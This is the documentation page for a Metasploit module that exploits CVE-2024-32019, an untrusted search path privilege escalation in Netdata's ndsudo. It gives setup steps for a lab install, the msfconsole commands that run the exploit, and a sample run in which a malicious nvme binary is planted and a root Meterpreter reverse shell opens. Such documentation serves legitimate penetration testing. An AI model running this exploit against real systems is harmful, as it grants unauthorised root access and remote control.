## Vulnerable Application

The `ndsudo` is a tool shipped with Netdata Agent. Versions v1.45.0 and below contain a vulnerability, which allows an attacker to gain privilege escalation using the `ndsudo` binary. The vulnerability is an untrusted search path. When searching for additional binary files, such as `nvme`, an attacker can create a malicious binary with same name and add the directory of this binary into the `$PATH` variable. The `ndsudo` will trust the first occurrence of this binary and execute it.

Installation steps:

1. `sudo apt  install cmake libelf-dev git bison flex build-essential libssl-dev pkg-config liblz4-dev libzstd-dev libbrotli-dev uuid-dev libuv1-dev`
1. `wget https://github.com/netdata/netdata-nightlies/releases/download/v1.45.0-8-nightly/netdata-latest.tar.gz`
1. `gunzip netdata-latest.tar.gz`
1. `tar -xf netdata-latest.tar`
1. `cd netdata-v1.45.0-8-g5803c7766/`
1. `sudo ./netdata-installer.sh`

## Verification Steps

1. Install the application
1. Start msfconsole
1. Receive a session
1. Do: `use exploit/linux/local/ndsudo_cve_2024_32019`
1. Do: `set session [session number]`
1. Do: `run`
1. Get root shell/meterpreter session

## Options


### WritableDir

A path where malicious `nvme` binary will be stored. This path will be later prepended to `$PATH` variable to achieve privilege escalation.

### NdsudoPath

The path to the `ndsudo` binary.


## Scenarios

```
msf exploit(linux/local/ndsudo_cve_2024_32019) > run verbose=true
[*] Started reverse TCP handler on 192.168.3.7:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Vulnerable binary detected
[*] Creating malicious file at /tmp/nvme
[*] Writing '/tmp/nvme' (250 bytes) ...
[*] Executing..
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 10.5.134.200
[+] Deleted /tmp/nvme
[*] Meterpreter session 3 opened (192.168.3.7:4444 -> 10.5.134.200:53172) at 2025-08-11 11:05:24 +0200

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 10.5.134.200
OS           : Ubuntu 20.04 (Linux 5.13.0-1021-oem)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
```
